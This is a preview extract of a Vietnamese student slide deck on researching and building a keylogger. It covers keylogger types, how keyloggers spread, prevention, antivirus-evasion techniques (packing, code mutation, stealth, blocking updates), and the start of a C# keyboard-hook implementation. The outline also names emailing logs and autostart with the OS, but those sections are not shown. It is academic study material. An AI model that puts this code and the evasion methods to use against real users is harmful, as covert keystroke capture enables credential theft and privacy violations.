Tải bản đầy đủ (.pptx) (38 trang)

NGHIÊN cứu và PHÁT TRIỂN THỬ NGHIỆM KEYLOGGER

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (194.69 KB, 38 trang )

BÁO CÁO ĐỒ ÁN
KEYLOGGER
LOGO


Sinh viên thực hiện
 2033181026 – Nguyễn Đức Hùng
 2033180108 – Hoàng Hữu Ngọc Điệp
1
2
3

LOGO


Nội dung

I

Tìm hiểu Keylogger

II

Các kỹ thuật qua mặt Anti-Virus

III

Chương trình Keylogger

IV


Demo chương trình Keylogger

LOGO


I.Tìm hiểu Keylogger

LOGO

1.1 Lịch sử

1.2 Khái niệm

1.5 Keylogger là mối đe dọa
1.7 Cách phòng tránh

1.3 Phân loại

1.4 Cách hoạt động

1.6 Cách thức lan truyền


1.1 Lịch sử Keylogger

LOGO

 Ra đời vào đầu khoảng 1970 – 1980.
 Với nhiều mục đích sử dụng khác nhau.
 Vào năm 1990, sự bùng nổ trong việc tạo và sử dụng Keylogger thương

mại tăng lên, với đủ loại sản phẩm được tung ra thị trường.
 Keylogger trong lịch sử đã nhắm mục tiêu đến người dùng gia đình để lừa
đảo, nhưng keylogging được nhà nước bảo trợ trong ngành và hiện đại là
một vấn đề nghiêm trọng.


1.2 Khái niệm Keylogger

LOGO

 Keylogger là một chương trình máy tính được viết ra dùng để theo dõi, ghi
lại mọi dữ liệu của bàn phím khi được thao tác và lưu vào một tập tin (log)
để cho người cài đặt sử dụng.
 Do chức năng của nó mang tính vi phạm vào sự riêng tư của người khác
nên các chương trình Keylogger được xếp vào nhóm các phần mềm gián
điệp.
 Sau này, Keylogger nó được phát triển cao hơn, khơng những ghi lại mọi
thao tác trên bàn phím, mà cịn ghi lại tất cả các hình ảnh hiện thị trên màn
hình. Bằng cách chụp (screen-shot), quay video (screen-capture), ngồi ra
cũng có thể ghi lại q trình con trỏ chuột trên máy tính di chuyển.


1.3 Phân loại Keylogger

LOGO

Năm loại keylogger phổ biến nhất bao gồm:
1.3.1 Keylogger dựa trên API
 Là phổ biến nhất, sử dụng API bàn phím để ghi lại các lần gõ phím. Các bản
ghi sau đó được lưu trong một tập tin trên ổ cứng hệ thống để hacker dễ

dàng truy xuất.

1.3.2 Keylogger dựa trên việc thu thập biểu mẫu
 Keylogger dựa trên biểu mẫu ghi lại dữ liệu từ các biểu mẫu web của bạn khi
gửi. Thơng tin này có thể bao gồm tên đầy đủ, địa chỉ, số điện thoại email,
thơng tin đăng nhập hoặc thơng tin thẻ tín dụng.

1.3.3 Keylogger dựa trên nhân
 Keylogger dựa trên hạt nhân ức chế lõi của hệ điều hành máy tính, khiến rất
khó phát hiện, xóa và ẩn bên trong hệ điều hành. Ghi lại các lần gõ phím.


3. Phân loại Keylogger

LOGO

1.3.4 Keylogger phần cứng
 Là thiết bị sử dụng mạch điện bên trong bàn phím để ghi lại các lần gõ
phím. Được tích hợp sẵn trong bàn phím, dưới dạng đầu nối USB hoặc thẻ
Mini-PCI. Tất cả các bản ghi được lưu trong bộ nhớ trong của thiết bị. Tin
tặc phải có quyền truy cập vật lý vào bàn phím để lấy thơng tin.

1.3.5 Acoustic Keylogger
 Các phím bấm acoustic rất phức tạp, hiếm khi được sử dụng. Chúng sử
dụng các nguyên tắc của phân tích mật mã âm thanh để ghi lại các lần gõ
phím ở cấp độ phần cứng. Mỗi phím trên bàn phím đều có một chữ ký âm
thanh duy nhất.


1.4 Cách hoạt động Keylogger


LOGO

1.4.1 Thành phần của Keylogger
 Chương trình điều khiển
 Tập tin hook
 Tập tin nhật ký (log)

1.4.2 Cách thức cài đặt vào máy:
 Loại cơ bản: cài vào máy cũng giống như các chương trình bình thường.
Sau khi cài xong nó sẽ hoạt động.
 Loại nguy hiểm: trực tiếp vào thẳng máy của người dùng. Ngoài ra, có một
số loại bám vào các chương trình khác, khi sử dụng thì Keylogger sẽ hoạt
động.


4. Cách hoạt động Keylogger

LOGO

1.4.3 Cách hoạt động
 Khi bấm 1 phím bất kì, bàn phím sẽ chuyển thành tín hiệu vào CPU. CPU
sẽ chuyển nó tới hệ điều hành để dịch thành chữ hoặc số cho chính nó.
 Nếu trong hệ thống có Keylogger, khơng chỉ có hệ điều hành theo dõi mà
cịn có cả hook file, monior program của Keylogger cũng theo dõi. Ngồi ra
nó cịn có thể ghi lại hình ảnh trên màn hình và thao tác chuột.


1.5 Tại sao keylogger là mối đe dọa


LOGO

 Keylogger không có mối đe dọa nào đối với hệ thống. Chúng có thể gây ra
mối đe dọa nghiêm trọng cho người dùng, vì được sử dụng để ăn cắp mật
khẩu và thơng tin bí mật. Tội phạm mạng có thể lấy mã PIN và số tài khoản.
 Tội phạm có thể dễ dàng chuyển tiền từ tài khoản của người dùng hoặc
truy cập vào tài khoản trò chơi trực tuyến.
 Keylogger có thể được sử dụng làm cơng cụ trong cả hoạt động gián điệp
cơng nghiệp và chính trị, truy cập dữ liệu có thể bao gồm thơng tin thương
mại độc quyền và tài liệu chính phủ.


1.6 Cách thức lan truyền của Keylogger

LOGO

 Một keylogger có thể được cài đặt khi người dùng mở một tệp đính kèm
trong email;
 Một keylogger có thể được cài đặt khi một tệp được khởi chạy từ một thư
mục truy cập mở trên mạng P2P;
 Keylogger có thể được cài đặt thông qua tập lệnh trang web khai thác lỗ
hổng trình duyệt. Chương trình sẽ tự động được khởi chạy khi người dùng
truy cập vào một trang bị nhiễm.
 Keylogger có thể được cài đặt bởi một chương trình độc hại khác đã có
trên máy nạn nhân, nếu chương trình đó có khả năng tải xuống và cài đặt
phần mềm độc hại khác vào hệ thống.


1.7 Cách phòng tránh và phát hiện Keylogger


LOGO

1.7.1 Phòng ngừa theo “được cài đặt”
 Không nên cho ai mượn máy, xài chung máy. dùng cách chương trình bảo
vệ.
 Đặt mật khẩu. Thiết lập quyền người dùng chung thấp nhất để kiểm sốt
các chương trình họ sử dụng và cài đặt.

1.7.2 Phịng ngừa theo “bị cài đặt”







Khơng mở các tập tin không rõ nguồn gốc, các tập tin lạ
Không vào các web lạ, web người lớn
Không click vào đường link lạ
Hạn chế sử dụng các phần mềm, chương trình crack.
Thường xuyên cật nhật các vá bảo mật
Không download các nguồn không tin cậy


1.7 Cách phòng tránh và phát hiện Keylogger
1.7.3 Che mắt keylogger
 Sử dụng On-Screen Keyboard
 Sử dụng Copy & Paste
 Sử dụng Type & Click


1.7.4 Chống Keylogger
 Sử dụng chương trình Task Manager
 Sử dụng các phần mềm, chương trình chống spyware chuyên dụng

LOGO


II. Các kỹ thuật qua mặt Anti-virus

2.1 Antivirus là gì ?

2.2 Cách hoạt động Anti-virus

2.3 Các kỹ thuật qua mặt Antivirus

LOGO


2.1 Antivirus là gì

LOGO

2.1.1 Khái niệm
 Là một dạng phần mềm có khả năng bảo vệ máy tính, phát hiện, cảnh báo
và loại bỏ các virus do hacker tạo ra.
 Được viết bởi các kỹ sư có chun mơn cao
 Từ đó khắc phục một phần hậu quả do virus tấn cơng máy tính.
2.1.2 Các tính năng của Antivirus
 Qt nền
 Quét hệ thống hoàn chỉnh

 Quét hệ thống tự thiết lập


2.2 Antivirus hoạt động như thế nào ?

LOGO

 Antivirus quét một hoặc nhiều tệp, chương trình, ứng dụng và so sánh với
bộ mã cụ thể có thơng tin được lưu trữ trong cơ sở dữ liệu của nó.

Có 2 phương pháp phổ biến được sử dụng bởi Antivirus:
 Signature-based: là kiểm tra hình thức của một tệp, chương trình, từ đó tìm
kiếm các chuỗi và chức năng khớp với một phần mềm độc hại đã biết trong
cơ sở dữ liệu.
 Heuristic: sử dụng các quy tắc hoặc thuật tốn để tìm kiếm các lệnh có thể
chỉ ra ý định độc hại. có thể phát hiện phần mềm độc hại mà không cần
chữ ký


2.3 Các kỹ thuật qua mặt Antivirus

LOGO

2.3.1 Code packing and encryption ( Đóng gói mã và mã hóa )
 Đa số virus Worm và Trojan được đóng gói và mã hóa. Ngồi ra, các
hacker cũng thiết kế các tiện ích đặt biệt kèm với virus rồi đóng gói và mã
hóa.
 Mã hóa giúp loại bỏ hiệu quả khả năng chống vi-rút phát hiện phần mềm
độc hại chỉ thông qua chữ ký.


2.3.2 Code mutation (đột biến mã)
 Là phương pháp trộn mã của virus Trojan cộng với Spam (code plus ‘spam’
instructions ). Để tạo ra mã mới, Trojan vẫn giữ chức năng như ban đầu.

2.3.3 Stealth techniques (kỹ thuật tàng hình)
 Có thể chặn và thay thế các chức năng hệ thống, để làm cho tệp bị nhiễm
trở nên vơ hình đối với hệ điều hành và các chương trình Antivirus.


2.3 Các kỹ thuật qua mặt Antivirus

LOGO

2.3.4 Blocking antivirus programs and antivirus database updates
 Chặn phần mềm chống vi-rút
 Làm hỏng cơ sở dữ liệu chống vi-rút
 Ngăn chặn hoạt động chính xác của các quy trình cập nhật của phần mềm
chống vi-rút

2.3.5 Obfuscation (Xáo trộn)
 Bóp méo phần mềm độc hại trong khi vẫn giữ được hình thức của nó


III.Chương trình Keylogger

LOGO

3.1
Bộ thư viện cần thiết


3.5
Key Logger C# .NET
– SendMail

3.2
Key Logger C# .NET - API
Methods & Hook keyboard

3.6
KKey Logger C# .NET
– Open with OS

3.3
Key Logger C# .NET
– Show Windows

3.7
Key Logger C# .NET
– Timer

3.4
Key Logger C# .NET
– Capture


3.1 Bộ thư viện cần thiết
using System;
using System.Diagnostics;
using System.Timers;
using System.Windows.Forms;

using System.Runtime.InteropServices;
using System.IO;
using System.Net;
using System.Net.Mail;
using Microsoft.Win32;
System.Timers cho các bộ đếm thời gian(timer)
System.Windows.Forms và
System.Runtime.InteropServies gọi các phương thức sẵn có
(API) cho các keystrokes
System.IO cho việc ghi văn bản ra file tệp
System.Net.Mail để dùng trong việc gửi gmail
Microsoft.Win32 cho việc ghi các khoá đăng ký trong registry.

LOGO


3.2 Key Logger C# .NET - API Methods & Hook
keyboard

LOGO

3.2.1 Các hàm API
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, KeyboardProc lpfn,
IntPtr hMod, uint dwThreadId);
 idHook: Con số này sẽ xác định loại hook sẽ được thiết lập.
 lpfn: Một long Pointer trỏ tới hàm xử lý các sự kiện bàn phím.
 hMod: Một xử lý cho các ứng dụng được cài đặt hook.
 dwThreadld: Các ID của thread hiện hành.
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr idHook);
 import hàm UnhookWindowsHookEx để loại bỏ hook khi được gọi.


3.2 Key Logger C# .NET - API Methods & Hook
keyboard

LOGO

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr idHook, int nCode,
IntPtr wParam, IntPtr lParam);
- Bất cứ khi nào một sự kiện bàn phím xảy ra, các tham số sau sẽ được thông
báo để HookCallback.
 nCode: Sự kiện bàn phím bình thường sẽ trả lại một nCode
 wParam: Giá trị này cho biết loại sự kiện đã xảy ra: nhả hoặc giữ phím.
 lParam: Một cấu trúc để lưu trữ các thơng tin chính xác về các bàn phím tắt,
chẳng hạn như các mã của phím được nhấn.
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string ModuleName);
- GetModuleHandle được sử dụng để lấy ra handle của chương trình đang chạy


3.2 Key Logger C# .NET - API Methods & Hook
keyboard

LOGO

3.2.2 Hook keyboard

 Khởi tạo các giá trị mặc định
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
 Khởi tạo 1 delegate KeyboardProc
private delegate IntPtr KeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
 Tạo1 biến _proc tham chiếu đến hàm HookCallback.
private static KeyboardProc _proc = HookCallback;
 Đặt mặc định cho _hookID là 0.
private static IntPtr _hookID = IntPtr.Zero;


3.2 Key Logger C# .NET - API Methods & Hook
keyboard
 Hàm SetHook
private static IntPtr SetHook(KeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
{
using (ProcessModule curModule=curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
}
- Từ những ModuleHandle đã được lấy ra, chúng ta sẽ gọi hàm
“SetWindowsHookEx” để bắt đầu thả mồi câu xuống chương trình.

LOGO



×